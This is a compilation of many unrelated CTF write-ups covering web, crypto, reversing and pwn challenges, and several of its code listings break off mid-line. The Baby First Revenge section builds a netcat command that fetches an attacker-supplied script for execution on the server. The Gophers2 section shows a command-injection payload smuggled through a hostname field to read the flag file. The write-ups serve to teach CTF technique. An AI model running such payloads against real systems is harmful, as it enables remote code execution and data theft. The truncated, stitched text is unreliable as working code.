In index.php we notice that we have to execute /usr/bin/get_flag to get the flag```php echo "<div class='alert success'>" . shell_exec("/usr/bin/get_flag") . "</div>";```
However we cannot use shell_exec.But we can download the whole binaryWe craft a request that includes the file in the webpage and then download it.```method:file_get_contentsregex:\/usr\/bin\/get_flagtext:/usr/bin/get_flag```
Now we should get some information reversing the binary.
Luckily the old `strings get_flag | grep hxp` worked
`hxp{Th1s_w2sn't_so_h4rd_now_do_web_of_ages!!!Sorry_f0r_f1rst_sh1tty_upload}`
After the ctf I tried to extract the ELF executable with binwalk and execute it, it did work aswell |
# Common Modulus 1 - Cryptography - 98 points - 162 teams solved
> We made RSA Encryption Scheme/Tester. Can you break it?>> [Common_Modulus_1.zip](./Common_Modulus_1.zip-37882dbd7dd05381bbf72a11fbbdb3f23def0e4981bc9ffcd399e4c138549fc8)
# Common Modulus 2 - Cryptography - 133 points - 104 teams solved
> The previous one is very easy. so is this also easy?>> [Common_Modulus_2.zip](./Common_Modulus_2.zip-24d74ea8d1b7bc154d30bb667f6f13ef24a9fe260a7741caab427421d1070c98)
# Common Modulus 3 - Cryptography - 210 points - 48 teams solved
> try harder!>> [Common_Modulus_3.zip](./Common_Modulus_3.zip-275005199fd0ecbec4183fd7e1b421f65c7bb982ffba65a12a4089e263899152)
These challenges are three variations of the same problem, where a plaintext is RSA encrypted twice, with public keys `(e1, n)` and `(e2, n)` where `n` is the same in both keys but `e1 != e2`. We are given a file with both public keys and the two ciphertexts `ct1` and `ct2`.
At first I totally missed that `e1` and `e2` was explicitly given in the files, so I wrote a script to brute force find the private keys by generating `ct1 ** x mod n` and `ct2 ** y mod n` until I found a match. This works because `(m ** e1) ** x = m ** (e1 * x) = m ** (e2 * y) mod n` when `e1 = y` and `e2 = x`. Since each `e1` and `e2` are generated from a random number below `2 ** 20` this just takes a few minutes.
With the two public keys fully known, the solution is as described [in this Stackexchange post](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem) - you take the extended GCD for `e1` and `e2` to find two values where `e1 * s + e2 * t = 1` which then can be extended to `[(ct1 ** s) * (ct2 ** t) = (m ** (e1 * s)) * (m ** (e2 * t)) = m ** (e1 * s + e2 * t) = m ** 1 = m] mod n`. The only issue is that either `s` or `t` is negative, so you have to use modular multiplicative inverse to calculate a negative power. After this, we get `m`, convert it to bytes, and get the first flag `CBCTF{6ac2afd2fc108894db8ab21d1e30d3f3}`
In the second problem, `e1` and `e2` is generated with `e = 3 * get_random_prime(20)`, so they have a common factor. We simply divide both of them by 3, and the above alorithm still works. The only problem is that we are left with the result `m ** 3`. Since the number of bits in `m` is assumed to be less than one third of the size of `n`, we can simply find the cube root of the result, and get the proper `m`. The second flag is `CBCTF{d65718235c137a94264f16d3a51fefa1}`.
In the third problem, the common factor is now `17`, but more importantly, the flag is left aligned with zero bytes until the plaintext is 8192 bits in length. In practice, this means that `mp = m ** (1 << (x*8))`, and the value we get when repeating the algorithm from the previous problems give us `mp ** 17`. Our solution then becomes to generate modular multiplicative inverses for all `1 << (x*8) mod n`, then try all of them. One of them will leave us with `m ** 17` as the result, which we then can take the 17th root of to get the original `m`, and the flag which is `CBCTF{b5c96e00cb90d11ec6eccdc58ef0272d}`. |
- we can upload assembly code wich gets executed
- seccomp filters prevent us from using most syscalls
- overwrite libc symbols in the assembly to bypass seccomp
- leak the remote binary and libc
- let the assembly code jump to a magic gadget to get a shell
For a detailed description, follow the link :D |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>hitcon<span>/</span> </div> </div>
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|
- using a buffer overflow, we load our own seccomp filter
- with a specific seccomp filter, we bypass glibc's hardening techniques
- we overwrite the secret key stored in memory and get the flag
For a detailed description, follow the link :D |
# Baby First Revenge v2**Description**: This is the hardest version! Short enough? http://52.197.41.31/
## The challengeVisiting the URL in the challenge gives:
```phpfilename`.We can then use globs like `*` to run a command made of 4 character words. For example, we can check the environment variables:
```bashbash:~ $ >envbash:~ $ *>x # this runs env>x, because * expands to x```
Also, we can use `ls` to write data into files:
```bashbash:~ $ >abcbash:~ $ >defbash:~ $ ls>x # writes abc\ndef\ņx into x (note that x is included in the result of ls, because it gets created before ls runs)```
One problem we are facing here is that the result of `ls` and `*` are both sorted according to the current locale (which appears to be C on the server), so the following wont work:
```bashbash:~ $ >ncbash:~ $ >-lbash:~ $ * # does not work: expands to -l nc```
But it is still not possible to write words longer than 3 characters, and we're going to need that if we want to connect to any server (unless you don't own a 3 letter domain :).I got stuck at this point for a long time.As I couldn't find any way to strip trailing newlines from files allowing me to build longer words with `cat`, I instead looked for some sort of "interpreter" that has short commands (<=3 characters) and is line based.At first, I tried a solution involving `dc`, a stack based calculator, but as it turns out that command was not installed on the remote system.
Then I found out about `ex`. It was installed on the remote system (as it comes with `vim`) and provides a very succint language to perform editing operations on a file, exactly what we need!
With a lot of help from the `man ex`, here's how to build the command "nc 3645160312 99 > x" (3645160312 is the decimal version of my ip) to allow sending arbitrary scripts to the server (after that, you can just `sh x`, which is 4 characters, to execute any command). You can run this as a bash script:
(Note that all the ex commands need to be carefully constructed since they execute in alphabetic order, so evenif you do `>w` followed `>j`, ls will sort the result and thus `ex` receives `j` followed by `w` as input, not the other way around)````bash# create a clean working directory for demsonstration, not part of the actual exploit scriptmkdir work cd workexport LC_ALL=C LANG=C # for correct sorting, set same locale as server
### stage 1: create files for the "parts" that we need###>nc>36>451>60>312>999>\>ls>x # writes all the file names into x separated by newlines
# some debugging output, this is of course not part of the actual exploit# x at this point contains: 312 36 451 60 999 > nc x (with newlines instead of spaces)echo STAGE1 RESULT; cat x
#### stage 2: use ex to bring the lines into the correct order# # luckily, ex ignores most invalid commands so even though our directory already contains a lot of files which# will be included in the output of ls we can still use ls to build ex commands###>2j! # join the 2nd and 3rd line with space, producing 36541 (first part of ip)>w # save the file ("write")ls>z # write ex commands into file z>ex # create the ex file for the following command*x<z # runs ex x < z to execute `ex` on the file `x` with commands read from `z`
# note that at this point, we cannot delete the file 2j! anymore, so any further ex invocations will# run the command 2j! as well, keep that in mind
>1m3 # move the first line (312, end of ip) to after line 3 (60, part before end of ip)# now, 2j! is run to join the second line (312, because first line was moved) with third line (60)
# these commands indent the lines 3 (end of ip), 4 (>) and 6 (x) so that when we join them without space later, # there's still space between them>3\>>4\>>5m0 # move 5th line (nc) to first line>6\>
ls>z*x<z # run ex again
echo STAGE2 RESULT; cat x
#### stage 3: the file is now in the right order, just join them all## one problem here is that we already have a lot of ex commands in our working directory,# but we don't want to re-execute them. So we use %, which sorts before everything we've used so# far, and applies our commands to all lines in the file. %wq saves the changes & q ensures that we quit# and do not process any further commands
>%j! # join all lines directly, not adding additional space>%wq # write and quit
ls>z*x |
> 4TRUN> > We found this archaic thing in our lab. Could you please investigate its purpose?>> Download:> > [4trun.zip](https://0xd13a.github.io/ctfs/hxp2017/4trun/4trun.zip)> > 100 Basepoints + 100 Bonuspoints * min(1, 3/21 Solves) = 114 Points
When run, the executable asks for the flag, and checks it:
```$ ./4TRUN Give flag: test:(```
We can open the application in HexRays or Snowman and study the flag checking logic. It consists of the following steps:
- Load the encoded flag data in a 6x6 _encoded flag matrix_- Read the flag from the input and store it into a 6x6 _flag matrix_- Update the _flag matrix_ by successively adding values in columns- Fill _encoding factor matrix_ with constant values ```0``` through ```35```, and then update them with values from vector ```[1,3,3,3,3,7]```- Multiply _flag matrix_ and _encoding factor matrix_- Compare _encoded flag matrix_ and _flag matrix_, returning an indicator of whether the flag is valid or not
These steps can be reversed and the flag can be generated from _encoded flag matrix_ and _encoding factor matrix_. Let's put the reverse steps into a script:
```pythonimport struct, numpy
# extract encoded flag from executable enc_flag_data = bytearray(open("4TRUN","rb").read())[0x1180:0x1180+0xc0]
factor = [1,3,3,3,3,7]
enc_flag = numpy.tile(0,(6,6))enc_factors = numpy.tile(0,(6,6))
# fill the flag matrix and the encoding factorsfor i in range(6): for j in range(6): enc_flag[j,i] = struct.unpack(" |
The link : [https://rawsec.ml/en/RC3CTF-2017-write-ups/#100-this-is-where-i-d-put-my-home-page-if-i-had-one-web](https://rawsec.ml/en/RC3CTF-2017-write-ups/#100-this-is-where-i-d-put-my-home-page-if-i-had-one-web) |
> irrgarten> > Be ready for some long running in the irrgarten.>> Connection:> > dig -t txt -p53535 @35.198.105.104 950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link> > 100 Basepoints + 100 Bonuspoints * min(1, 3/35 Solves) = 108 Points
When we run the command it returns a TXT record suggesting the we try ```down.<domain>```. When we run the following command we get a record of another subdomain:
```dig -t txt -p53535 @35.198.105.104 down.950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link```
It seems that the nameserver is set up as a maze that we can traverse by specifying directions. If the direction exists for that particular node a name of the new subdomain node is returned. I was not sure what the valid directions were, but ```up```, ```down```, ```right```, and ```left``` seemed to work.
By specifying all directions on all nodes that we see we should eventually stumble upon a flag. When we see a new node we will add it to the "fresh" list, so that we could explore it. As we check all direction on a node we will add it to the "seen" list so that we won't have to check it again. Let's put this logic in a script:
```pythonimport subprocessimport re
# new nodesfresh = {}
# nodes that were already seenseen = {}
def run_command(command): p = subprocess.Popen(command.split(),stdout=subprocess.PIPE,stderr=subprocess.STDOUT) return iter(p.stdout.readline, b'')
def run(node,dir=None): global fresh, seen
# mark the node as seen seen[node] = True
dir_str = "" if dir != None: dir_str = dir + "." out = run_command("dig -t txt -p53535 @35.198.105.104 {}{}.maze.ctf.link".format(dir_str, node)) in_answer = False for x in out: if ";; ANSWER SECTION" in x: in_answer = True continue if ";; AUTHORITY SECTION:" in x: break
# if we are in the answer section and the line is not empty... if in_answer and x.strip() != "": val = x.strip() # extract the new node name m = re.search(r'IN CNAME\s+([0-9a-f-]{36}).maze.ctf.link.', val) if m: new_node = m.group(1) # if we have not seen this node - add it to the "fresh" list if new_node not in seen: print "Adding node " + new_node fresh[new_node] = True else: # this is not a line containing new node - let's print it just in case it has the flag print val def explore(node): print "Exploring " + node run(node) run(node,'down') run(node,'up') run(node,'left') run(node,'right')
fresh['950ae439-d534-4b0c-8722-9ddcb97a50f6'] = Truewhile True: next_key = next(iter(fresh)) fresh.pop(next_key) explore(next_key)
if len(fresh) == 0: break```
The script runs for a long while but eventually the flag is returned:
```...Adding node 20b3aaad-20c0-4da5-9ff1-f5c98fe23efcExploring 91e3cc82-ced7-4150-8eeb-0374c85fcb68Adding node 4206714c-494f-4da4-aab7-cb0e523fd4ceExploring 4206714c-494f-4da4-aab7-cb0e523fd4ceAdding node 20b3aaad-20c0-4da5-9ff1-f5c98fe23efcExploring 20b3aaad-20c0-4da5-9ff1-f5c98fe23efcAdding node 8f3bb677-b8f8-4c48-a4c4-d8451f361d038f3bb677-b8f8-4c48-a4c4-d8451f361d03.maze.ctf.link. 3600 IN TXT "Flag:" "hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}"Exploring 8f3bb677-b8f8-4c48-a4c4-d8451f361d03...```
The flag is ```hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}```. |
Lets open the given png with xxd and compare it with another png,
Encrypted image header : 
random image header : 
if we xor the first byte of each picture we get 0xFF, lets xor the whole encrypted png with 0xFF with [This script](https://github.com/soolidsnake/Write-ups/blob/master/Kaspersky_CTF/Security%20home%20cameras/script.py). |
# Baby Regex
This challenge gives you a piece of text and a remote service which sends you questions. You have to answer them all to grab the flag. The service asks you to craft regular expressions with constraints that match parts of the given text. Sounds easy right?
Thankfully, you don't actually have to construct any regex on the fly. There are a total of 8 pre-defined questions and each time you connect to the service it gives you one at random. So you can grab them all using a simple script like:```pythondef recon(max_streak=15, wait_duration=5): challenges = [] streak = 0 while True: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect( ('200.136.213.148', 5000) ) c = recv(client) client.close() if c in challenges: streak += 1 else: challenges.append(c) streak = 0 if streak >= max_streak: break print '===============streak=%d==============' % streak time.sleep(wait_duration) return challenges
challenges = recon()print 'Found %d challenges:\n%s' % (len(challenges), challenges)```
After that we put them in a list and start studying them. They all require you to match different parts of the text using ridiculous constraints and by imposing a character limit. The engine it uses is python, as mentioned in the description, and the method with which it validates your input is by running it through `re.findall`. Time to open up the [docs](https://docs.python.org/2/library/re.html) and get to work.
```Type the regex that capture: "Chips" and "code.", and it is only allowed the letter "c" (insensitive)", with max. "15" chars:```Starting up with the personal hardest, if we look at the text we see that both `Chips` and `code.` start with `c`, are of length 5 and are located at the end of a sentence. We could try something like `r'(?m)[c|C]....$'` but the constraint prevents us from using any letter other than `c`. Another way is to notice that there is a `,` on the same line for both `Chips` and `code.`, so we could go for something like `r',.+ ([c|C]....)'` but that returns extra results and fixing that will get us over the character limit of 15. Finally, after much frustration and banging head against the wall I ended up with:```pythonchallenges[0]: r'c.{3,4},.+ (.+)'```If you look closely you will see in both lines we have a `c` character before the `,` either 3 (`card`) or 4 (`cuits`) positions behind. We submit it to the server and it accepts!
```Type the regex that capture: "All "Open's", without using that word or [Ope-], and no more than one point", with max. "11" chars:```This one is also quite tricky. We can see that we have 2 `Open`s, located at the start of the 1st and 3rd line. My immediate reaction was to use the multiline flag to match the start of each line: `r'(?m)^...n'`. Looks good, but we have one `Drin` messing up the results. Again, after much hair-pulling I noticed that the description says we are only not allowed to use *O*. But we could use lowercase *o* instead, by using the ignore case flag! We also have to only use a single point, so we use `\w` in its place:```pythonchallenges[1]: r'(?im)^o.\wn'```Awesome!
```Type the regex that capture: "<knowing the truth. >, without using "line break"", with max. "8" chars:```This one was quite simple in comparison to the others. Instead of using line break we use the negative group to parse the `\n` character:```pythonchallenges[2]: r'<[^>]*>'```
```Type the regex that capture: "(BONUS) What's the name of the big american television channel (current days) that matchs with this regex: .(.)\1", with max. "x" chars:```Heh. That was a curveball. The `\1` notation references the literal text of the first capture group. In this case that is `(.)`. So, we are looking for something that has the same 2nd and 3rd character:```pythonchallenges[3]: r'cnn'```
```Type the regex that capture: "FLY until... Fly", without wildcards or the word "fly" and using backreference", with max. "14" chars: ```This might confuse you as it did me because there was no way to capture the entire sentence in a group by using backreference, since you can't nest groups in groups! If you use `re.search` instead of `re.findall` you will see that the entire text is parsed under group 0 and the backreference, which will be the word `FLY` is under group 1. We also need to use the `i` flag to ignore case for matching the backreference and we have:```pythonchallenges[4]: r'(?i)(F..).+\1'```We're even 1 character under the limit!
```Type the regex that capture: "the follow words: "unfolds", "within" (just one time), "makes", "inclines" and "shows" (just one time), without using hyphen, a sequence of letters (two or more) or the words itself", with max. "38" chars:```This one I solved last since it seemed daunting at first, but turned out not so bad. I started by trying to match each word precisely with something like `r'u.f.l.s|w.t.i.|m.k.s|i.c.i.e.|s.o.s'`, but apart from capturing extra words it also captured `within` and `shows` twice. The description states it only needs one match. I then started looking at a pattern in the text around the words in question and I noticed that they were all preceeded by `it`. Great, but what about `unfolds`? Well, turns out you can craft the below regex to also take that into account:```pythonchallenges[5]: r'[i|n][t|d] ([^F]...[i|l|s]\w{0,3})'```The way I came up with what letters to use for the character groups is I ran it once using only the initial letters of each of the required words, saw which other words matched with the filter and then lined up all the words and looked for similarities in the required ones that were not present in the outliers. And we had 4 characters to spare at the end!
```Type the regex that capture: "the only word that repeat itself in the same word, using a group called "a" (and use it!), and the group expression must have a maximum of 3 chars, without using wildcards, plus signal, the word itself or letters different than [Pa]", with max. "16" chars: ```Looking at the code the only word that repeats itself in the same word is `blabla`, expertly placed within the text :). The solution to that is quite simple, once you know how named groups work:```pythonchallenges[6]: r'(?P...)(?P=a)'```
```Type the regex that capture: "from "Drivin" until the end of phrase, without using any letter, single quotes or wildcards, and capturing "Drivin'" in a group, and "blue." in another", with max. "16" chars:```For this last one, we need to capture the text from the last line, which is a bit similar to the one above it. We use the fact that we can use `-` and that `blue.` is at the very end of the file to write the following regex:```pythonchallenges[7]: r'(.{7}).+-(.+)$'```
And those were all the regex questions! Phew... no idea what that had to do with hacking or computer security but it was damn satisfying writing some pointless regex code golf.
Now all we need to do is package the answers and send them to the server:```pythondef answer(responses): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect( ('200.136.213.148', 5000) ) while True: q = recv(client).lstrip() if q in responses: print 'Received: %s' % q print 'Sending: %s' % responses[q] client.send(responses[q]+'\n') print recv(client) else: print q # This outputs the flag client.close() break print '==========================='
answer(responses)```
|
Ouchenticated=============
The ouchenticated service signs then encrypts the string '{admin: 0}' and givesus the output. Our goal is to flip the 0 to a 1 and generate a valid signature.
The signature process appends a 16-byte nonce, then computes a CRC of the wholestring. The CRC is then also appended to the string.
The encryption is AES in CTR mode.
Since the encryption is in CTR mode, changing the ciphertext to decrypt to adifferent plaintext is fairly easy. The ciphertext `C` is generated by takingthe output `O` of the AES cipher and XOR-ing it with the plaintext `P`:
O ⊕ P → C
Decryption proceeds in a similar fashion: the ciphertext `C` is XOR-ed withthe output `O` to recover the plaintext `P`:
O ⊕ C → P
So if we want to change the `P` to a modified plaintext `P'`, we just calculatethe XOR difference `X`:
P ⊕ P' → X
And then XOR it with C to create the modified ciphertext `C'`:
C ⊕ X → C'
Decryption then proceeds as follows:
O ⊕ C' = O ⊕ (C ⊕ X) = (O ⊕ C) ⊕ X = P ⊕ X = P'
So now we know how to modify the ciphertext to make it decrypt to '{admin: 1}`.But how do we pass the signature check after modifying the ciphertext? We don'tknow the nonce so we can't recompute the CRC, right?
Well I won't get into the number theory, but suffice it to say that CRC islinear with respect to XOR. That means if you XOR two strings together, theirCRC is equal to the CRC-ing each string individually then XOR-ing the CRCs:
CRC(A) ⊕ CRC(B) = CRC(A ⊕ B)
However, in practice most CRC algorithms (which we'll call `CRC'`) have anonzero starting state which must be taken into account too:
CRC'(A) ⊕ CRC'(B) = CRC'(A ⊕ B) ⊕ CRC'(0)
(where `0` is a string of all 0 bits of the same length as A and B).
In our case, we want to find the encrypted CRC' of the modified plaintext P'.We don't know the original string or the original CRC', but all we need are theencrypted forms of each, `C` and `C_crc`. Having these will let uscalculate the encrypted CRC' of the modified ciphertext which we'll callC_crc'.
C_crc' = O ⊕ CRC'(P') = O ⊕ CRC'(P ⊕ X) = O ⊕ CRC'(P) ⊕ CRC'(X) ⊕ CRC'(0) O ⊕ CRC'(P) ⊕ CRC'(X) ⊕ CRC'(0) = C_crc ⊕ CRC'(X) ⊕ CRC'(0)
We're given C_crc and can calculate CRC'(X) and CRC'(0).
Now we have everything we need. We can calculate the XOR difference between theoriginal plaintext and the modified plaintext and use that to generate amodified ciphertext and signature that will pass signature verification.
#!/usr/bin/env python3
import binascii, struct, zlib, json
def xor(a,b): assert len(a) == len(b) return bytes([a[i] ^ b[i] for i in range(len(a))])
def tamper(hex_cipher): ''' >>> tamper('256248bf08062fd9d60de4bd93602604174747cdc78ce02882bc580ebc59de14') 256248bf08062fd9d60de5bd93602604174747cdc78ce02882bc580e5def8cfb ''' cipher = binascii.unhexlify(hex_cipher)
C = cipher[:-4] C_crc, = struct.unpack(' |
Revenge of the Zwiebel===
Revenge of the Zwiebel is a binary that asks for a flag and then checks if it'scorrect. It has several anti-debugging techniques: an initializer function thatchecks to make sure it can ptrace itself, and then the main flag-checkingfunction continually runs a few instructions and then self-modifies the nextchunk of code after each check succeeds. The amount of code that checks theflag is fairly large, multiple kilobytes' worth, so manual analysis was out ofthe question.
I tried a couple of different approaches that didn't work too well. AFL waspretty quick to setup but didn't seem to work to well in QEMU mode with theself-modifying code. I also started angr with a script from writeups fromzwiebel from last year, but unfortuantely I'm not that familiar with it andI suspected there would be some twist this year that would make the solutionfrom last year not work.
My teammate @finalbit suggested Pin and noted that it came with an examplescript to count the number of instructions. It seemed to work pretty wellso I proceeded to write a quick script to continually mutate inputs, usePin to count the number of instructions executed, then keep the inputs thatexecuted the most instructions, similar to a genetic algorithm but withoutany recombination.
After a while, the broad outline of a flag started to emerge:
`new best: b'ipp{1_5m1l\xe4_l4zync\x15q}`
Over time, more and more lowercase letters and digits popped out andthe initial htp{ changed to hxp{. And finally it got fairly close:
`new best: b'ixp{1_5m3ld_l4zync55}`
which was close enough to guess the correct flag: `hxp{1_5m3ll_l4zyn355}`
The following script took about 30 minutes to run. The final number ofinstructions executed for a correct flag is 133827771 if you want to judgeits progress.
#!/usr/bin/env python3
import multiprocessing, os, random, string, subprocess, time
#CHARSET = (string.ascii_letters + string.digits + string.punctuation).encode('ascii') CHARSET = list(range(256))
TOP_SIZE = 20 START = b'A' * 0x90
def get_icount(data): proc = subprocess.Popen( args=['/tmp/pin-3.5/pin','-t','icount.so','--','./zwiebel'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE )
stdout, stderr = proc.communicate(data)
# Count 43444 stderr = stderr.decode('ascii') stderr = stderr.strip()
words = stderr.split() if len(words) < 2: print('what? stderr={}'.format(stderr)) return (data, 0)
return (data, int(stderr.split()[1]))
def bruteforce(): result = get_icount(START) top_results = [result] max_count = top_results[0][1]
num_execs = 0 t0 = time.time() update = time.time()
with multiprocessing.Pool() as pool: while True: datas = []
for i in range(os.cpu_count()): data, _ = random.choice(top_results) next_chars = list(data)
num_rounds = random.randrange(1, 20)
if random.random() < 0.5: for i in range(num_rounds): char = random.choice(CHARSET) ndx = random.randrange(0, len(next_chars)) next_chars[ndx] = char else: for i in range(num_rounds): bit = 1 << random.randrange(8) ndx = random.randrange(0, len(next_chars)) next_chars[ndx] ^= bit
datas.append(bytes(next_chars))
top_results += pool.map(get_icount, datas, chunksize=1) top_results.sort(key = lambda r: -r[1]) top_results = top_results[:TOP_SIZE]
if top_results[0][1] > max_count: max_count = top_results[0][1] print('new best: {} -> {}'.format(*top_results[0]))
num_execs += len(datas) if time.time() - update > 10: update = time.time() print('{} execs per second'.format(num_execs / (time.time() - t0)))
bruteforce() |
Don't Panic===
Don't Panic was another large, statically-compiled, stripped binary, exceptthis one was written in Go to add a new wrinkle.
Looking at the ELF we see two sections specific to Go: `.gosymtab` and`.gopclntab`. The first is supposed to contain symbols but unfortunately isempty. The second contains PC to line number mappings, which might have beenof some use but probably not much. I couldn't quickly find anything thatdetailed how the section was laid out or any utilties to work with it otherthan the gosym module which didn't seem to have a very useful interface forthis purpose. I didn't waste too much time because the mapping seemed like itwould be of limited use.
So I took a different tack of searching for the "Nope." string that was printedwhen the wrong flag was provided. I got lucky and found a function thatreferenced both that string and another string "Seems like you got a flag..."so I knew I was in the right place.
After manually reversing for a while I learned there were two tables. Thesecond table was used to generate a value from each flag character: theflag character was used as an index into the table. That table entry was thenused as the next index which chose another entry in the table and so on and soforth until it found the 0xFF entry. Each time it performed a lookup itincremented a counter. The final counter value was then compared against avalue from the second table. If the values matched it proceeded to the nextcharacter from the provided flag, else it printed the "Nope." message andexited.
I extracted the first table and wrote a Python script to generate a reversemapping that could be used to map entries in the second table directly to thecharacter needed in the flag. After making sure it worked for the firstcharacter to produce 'h' (from 'hxp{') I quickly discovered that the firsttable changed for each subsequent character of the flag.
Rather than copying out each table for each character of the flag, I decidedit was time for another approach. The icount example from Pin had worked wellon Revenge of the Zwiebel so I decided to see if I could try something similar.I knew the total number of instructions wasn't going to work for this binarybecause of the way the table lookup worked -- the highest number ofinstructions would just pick the character that incremented the counter themost times instead of pciking the character that incremented it the rightnumber of times.
But I could see the branch where it was doing the comparison and found theRIP value when the check succeeded, so I made a small modification to theicount example to only increment the instruction counter when RIP was equalto the value of the success branch. I tried it with the first few charactersthat I knew were in the flag and it worked well: "xyzzzzzzzzzzzzzzzz..."returned 0 whereas "hxp{xxxxxxxxxxxxxxx...." returned 4. (There was also acheck before it even got to this section that the total number of charactersin the flag was at least 40 or so.)
I re-used most of the script from Revenge of the Zwiebel but using a differentversion I had tried that guessed each character one at a time. It took a whileto execute the binary each time since I was in effect adding a conditionalbranch to each and every instruction executed. But the script to bruteforce itstill ran in a reasonable amount of time (about 10 minutes) and finallyfinished when it finally provided the correct flag and the binary itselfprinted a message to stderr, causing my script to fail parsing the Pin outputand die with an error. But I had the flag and that's all I needed:
hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4F3}
(Unfortunately I don't still have the source for the modified Pin example thatI used to build my_count.so. But the changes were minimal, just a couple of small additions to pass the current RIP value to the docount function and thencheck it against the desired value.)
#!/usr/bin/env python3
import multiprocessing, os, random, string, subprocess, time
CHARSET = (string.ascii_letters + string.digits + string.punctuation).encode('ascii') #CHARSET = list(range(128))
TOP_SIZE = 20 START = b'A' * 0x30
def get_icount(data): proc = subprocess.Popen( args=['/tmp/pin-3.5/pin','-t','my_count.so','--','./main_strip',data], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE )
stdout, stderr = proc.communicate(b'')
# Count 43444 stderr = stderr.decode('ascii') stderr = stderr.strip()
words = stderr.split() if len(words) < 2: print('what? stderr={}'.format(stderr)) return (data,0)
return (data,int(stderr.split()[1]))
def bruteforce(): data, max_count = get_icount(START)
with multiprocessing.Pool() as pool: for i in range(len(data)): datas = [] for c in CHARSET: datas.append(data[:i] + bytes([c]) + data[i+1:])
results = pool.map(get_icount, datas) for next_data, count in results: if count > max_count: max_count = count data = next_data print('new best: {} -> {}'.format(data, max_count)) break
bruteforce() |
We have a message (the flag) encrypted with the same $N$, but with two different $e$.As the name suggests the solution to this problem is a [common modulus attack](https://crypto.stackexchange.com/questions/16283/how-to-use-common-modulus-attack)
[...]
```pythonfrom binascii import unhexlifydef solve(e1, e2, n, c1, c2): d, x, y = xgcd(e1, e2) m = (pow(c1, x, n) * pow(c2, y, n)) % n print unhexlify(hex(long(m))[2:-1])```
for the original writeup check out [https://theromanxpl0it.github.io/ctf_codeblue2017/common1](https://theromanxpl0it.github.io/ctf_codeblue2017/common1/) |
[writeup by @bonaff]
**CTF:** CSAW CTF Final Round 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** Web / Gophers2
**Points:** 200
> Solve Gophers1, and it will tell you what to do.
For this challenge I reused the client from the Gophers1 challange (let's call it `pwn_client.py`):
```python#!/usr/bin/env python2
import sysimport randomfrom pwn import *
DH_P = 251DH_G = 6
def request(data): p = remote('web.chal.csaw.io', 4333)
# Diffie-Hellman key exchange dh_a = random.randint(0, 255) dh_A = (DH_G ** dh_a) % DH_P p.send(p8(dh_A)) dh_B = u8(p.recvn(1)) s = (dh_B ** dh_a) % DH_P
crypt = lambda x : ''.join([chr(ord(c) ^ s) for c in x])
p.send(crypt(data)) return crypt(p.recvall())
if len(sys.argv) >= 2: print request(sys.argv[1])```
Sending a `/` returns "Hey man, I heard you like writing clients, try writing a server!", with the source code of the remote server.Time for some code review!
From the first lines of code we can see that the flag is in the root directory:
```javascriptconst FLAG = readFileSync('/flag.txt');```
But this constant is never used in the code, so we are looking for some kind of file disclosure / remote code execution.
Then there are some app.selector:
```javascriptapp.selector('/', function(req, res, done){```
This is the index that we've seen before. Nothing fancy.
```javascriptapp.selector('/reset', function(req, res, done){[...]```
This will reset a sandbox (see below).
```javascriptapp.selector('/run_client', function(req, res, done) { [..] }```
Finally, this will get a hostname and a port, and will connect to that host:port using gopher2. The way it does this is quite interesting:
1. First, it creates a sandbox and copies a client script named `client.py`.2. Then, it checks that the hostname and the port are valid by creating an URL object.3. Finally, it passes the hostname and the port to the client by calling **`exec`**.
Here's the code:
```javascriptlet {host, port} = req.params; let _url = `gopherz2://${host}:${port}`; let url; try { url = new URL(_url); } catch (e) { res.listing([{ type: 'E', data: 'Yeah that\'s not going to work', }]); return done(); } host = url.hostname; port = url.port;
let sandbox = sandbox_directory(req.client.remoteAddress); if (host && port) { waterfall([ (cb) => { exec(`mkdir ${sandbox} && chmod +rwx ${sandbox} && cp client.py ${sandbox}/ && chmod 777 ${sandbox}`, (err, stderr, stdout) => { if (err) cb(stderr); else cb(); }); }, (cb) => { exec(`cd ${sandbox} && python3 client.py ${host} ${port}`, (err, stdout, stderr) => { if(err) cb(stderr); else { res.listing([{ type:'T', data: stdout, }]); done(); } }); } ], (err) => { if(err) { res.listing([{ type: 'E', data: err }]); done(); } }) } else { res.listing([{ type: 'E', data: 'host and port wrong' }]); done(); }});```
Playing a bit with the URL parser, I found that the characters ``$;`{}`` are considered valid in the hostname, so if we forge a host like:
```text0;`echo${IFS}foo````
Bash will throw an error, saying that the command `foo` can't be found. So let's read the flag!
```bash./pwn_client.py '/run_client\thost:0;`cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag.txt`\tport:444'```
And this will throw an error with the flag. |
The picture describes the whole process. For each step you pop the least significant bit of the shift register and* xor it with the next bit of the flag and append the result to Y* xor it with the 8ths place bit and add that to the most significant end of the shift register
Because of the nature of the xor operation, if we feed in Y instead of the flag, as long as the LFSR prouces the same bit sequence we'll get the flag out. The bit sequence only depends on the initial value of the register. As there are only 32 possible initial states, each one can be tried with a script such as this one:
```pyimport binascii
def generate_bit_sequence(initial_state): state = initial_state while True: last_bit = state & 1 yield last_bit middle_bit = state >> 3 & 1 state = (state >> 1) | ((last_bit ^ middle_bit) << 4)
def decrypt(message, initial_state): lfsr = generate_bit_sequence(initial_state) decrypted = "" for c in message: decrypted_bit = (ord(c) - ord('0')) ^ next(lfsr) decrypted += chr(decrypted_bit + ord('0')) return int(decrypted, 2)
Y = "000001000000000010001110111111111100000110101011100011100111010100011011111101001010100100110100100010000110110101101101101111010100011001111010001100000101010110000000010011001000010000100110100001111011010111000010000111101110001110001110"
for initial_state in range(32): d = hex(decrypt(Y, initial_state))[2:-1] if len(d) % 2 == 0: # ignore the odd length ones print binascii.unhexlify(d)```
Among the outputs which are mostly garbage lies our flag: `SchoolCTF{3v3rY80DY_l0V3_Lf5R}` |
